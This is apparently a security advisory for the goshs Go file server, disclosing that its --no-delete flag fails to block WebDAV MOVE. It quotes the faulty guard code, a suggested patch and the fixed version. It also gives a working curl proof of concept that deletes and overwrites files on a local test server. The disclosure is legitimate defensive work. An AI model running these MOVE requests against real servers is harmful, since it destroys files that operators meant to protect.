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CRITICAL 9.1

GHSA-hq33-8jgp-8qq3

goshs --no-delete WebDAV MOVE bypass allows file deletion/overwrite

Quick fix

GHSA-hq33-8jgp-8qq3 — goshs.de/goshs/v2: upgrade to the fixed version with the command below.

go get goshs.de/goshs/v2@v2.1.4

Details

## Summary

The WebDAV mode-flag guard added to fix GHSA-3whc-qvhv-xqjp still does not enforce `--no-delete` on the WebDAV `MOVE` verb. `MOVE` deletes the source file (rename removes it from its original path), and with `Overwrite: T` it additionally performs an explicit `RemoveAll` on the destination. Under `-w --no-delete`, `DELETE` is correctly blocked (403) but `MOVE` still destroys existing files, defeating the documented "Disable the delete option" boundary.

This is a residual of the parent fix: the guard classifies `MOVE`/`COPY` as write-only verbs (blocked only under `--read-only`) and never treats `MOVE` as a delete, so the `--no-delete` branch never covers it.

## Affected

goshs v2.1.3 (current release, commit `ba00ce3`). The guard was introduced when GHSA-3whc-qvhv-xqjp was fixed and carries the gap forward.

## Details

`httpserver/server.go`, `wdGuard` (lines 237-254):

```go wdGuard := http.HandlerFunc(func(w http.ResponseWriter, r *http.Request) { switch r.Method { case http.MethodPut, "MKCOL", "MOVE", "COPY": if fs.ReadOnly { http.Error(w, "read-only", http.StatusForbidden) return } case http.MethodDelete: if fs.ReadOnly || fs.UploadOnly || fs.NoDelete { http.Error(w, "delete disabled", http.StatusForbidden) return } case http.MethodGet, http.MethodHead: if fs.UploadOnly { http.Error(w, "upload-only", http.StatusForbidden) return } } ... ```

`MOVE` lives in the first case and is gated only by `fs.ReadOnly`. It is never checked against `fs.NoDelete`. But `MOVE` in `golang.org/x/net/webdav` (`file.go`, `moveFiles`) calls `fs.Rename(ctx, src, dst)`, which removes the source from its original location, and when the `Overwrite: T` header is present it first calls `fs.RemoveAll(ctx, dst)` on an existing destination. Both are deletions. So `--no-delete`, whose help text reads "Disable the delete option", does not disable deletion via `MOVE`.

The `.goshs` ACL layer (`webdav_acl.go`) checks auth and block-lists only; it does not enforce the mode flags, so it does not close this gap.

## Proof of concept

Reproduced live against goshs v2.1.3 on 2026-07-02. Server started with `--no-delete` and WebDAV enabled:

``` $ printf 'TOP-SECRET-CONTENTS\n' > webroot/secret.txt $ printf 'VICTIM-EXISTING-FILE\n' > webroot/victim.txt $ goshs -d webroot -i 127.0.0.1 -p 18080 --webdav --webdav-port 18081 --no-delete INFO Serving WEBDAV on 127.0.0.1:18081 from webroot ```

Control - DELETE is correctly blocked:

``` $ curl -s -i -X DELETE http://127.0.0.1:18081/secret.txt HTTP/1.1 403 Forbidden Content-Type: text/plain; charset=utf-8 Server: goshs/v2.1.3 (darwin; go1.26.1) ```

secret.txt still exists on disk.

Bypass 1 - MOVE removes the source file despite --no-delete:

``` $ curl -s -i -X MOVE -H 'Destination: http://127.0.0.1:18081/gone.txt' http://127.0.0.1:18081/secret.txt HTTP/1.1 201 Created Server: goshs/v2.1.3 (darwin; go1.26.1) ```

secret.txt is now deleted from disk (its content is at gone.txt).

Bypass 2 - MOVE with Overwrite:T destroys an existing victim file:

``` # before: victim.txt = VICTIM-EXISTING-FILE $ curl -s -i -X MOVE -H 'Destination: http://127.0.0.1:18081/victim.txt' -H 'Overwrite: T' http://127.0.0.1:18081/gone.txt HTTP/1.1 204 No Content Server: goshs/v2.1.3 (darwin; go1.26.1) # after: victim.txt = TOP-SECRET-CONTENTS (original VICTIM-EXISTING-FILE destroyed via RemoveAll) ```

## Impact

An operator running `goshs -w --no-delete -d /srv/artifacts` to deliver files that must not be removed still allows any WebDAV client to delete or clobber existing files via `MOVE`. Confidential existing files can be renamed away or overwritten. The `--no-delete` control is silently ineffective on the WebDAV port for the `MOVE` verb.

## Suggested fix

Move `MOVE` (and `COPY` on collision-with-overwrite, which also deletes) into the delete-gated branch, or add `fs.NoDelete` to the write-verb branch for `MOVE`:

```go case http.MethodPut, "MKCOL", "COPY": if fs.ReadOnly { http.Error(w, "read-only", http.StatusForbidden) return } case "MOVE": // MOVE renames (deletes source) and, with Overwrite:T, RemoveAll(dst). if fs.ReadOnly || fs.UploadOnly || fs.NoDelete { http.Error(w, "move disabled", http.StatusForbidden) return } case http.MethodDelete: if fs.ReadOnly || fs.UploadOnly || fs.NoDelete { http.Error(w, "delete disabled", http.StatusForbidden) return } ```

Add an integration test covering `MOVE` under `--no-delete` (the current `testWebdavMoveCopy` only exercises MOVE/COPY in unrestricted mode).

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Affected packages

Go / goshs.de/goshs/v2
Introduced in: 0 Fixed in: 2.1.4
Fix go get goshs.de/goshs/v2@v2.1.4
Go / github.com/patrickhener/goshs/v2
Introduced in: 0 Fixed in: 2.1.4
Fix go get github.com/patrickhener/goshs/v2@v2.1.4
Go / goshs.de/goshs
Introduced in: 0

No fixed version published yet for goshs.de/goshs (go modules). Pin to a known-safe version or switch to an alternative.

Go / github.com/patrickhener/goshs
Introduced in: 0

No fixed version published yet for github.com/patrickhener/goshs (go modules). Pin to a known-safe version or switch to an alternative.

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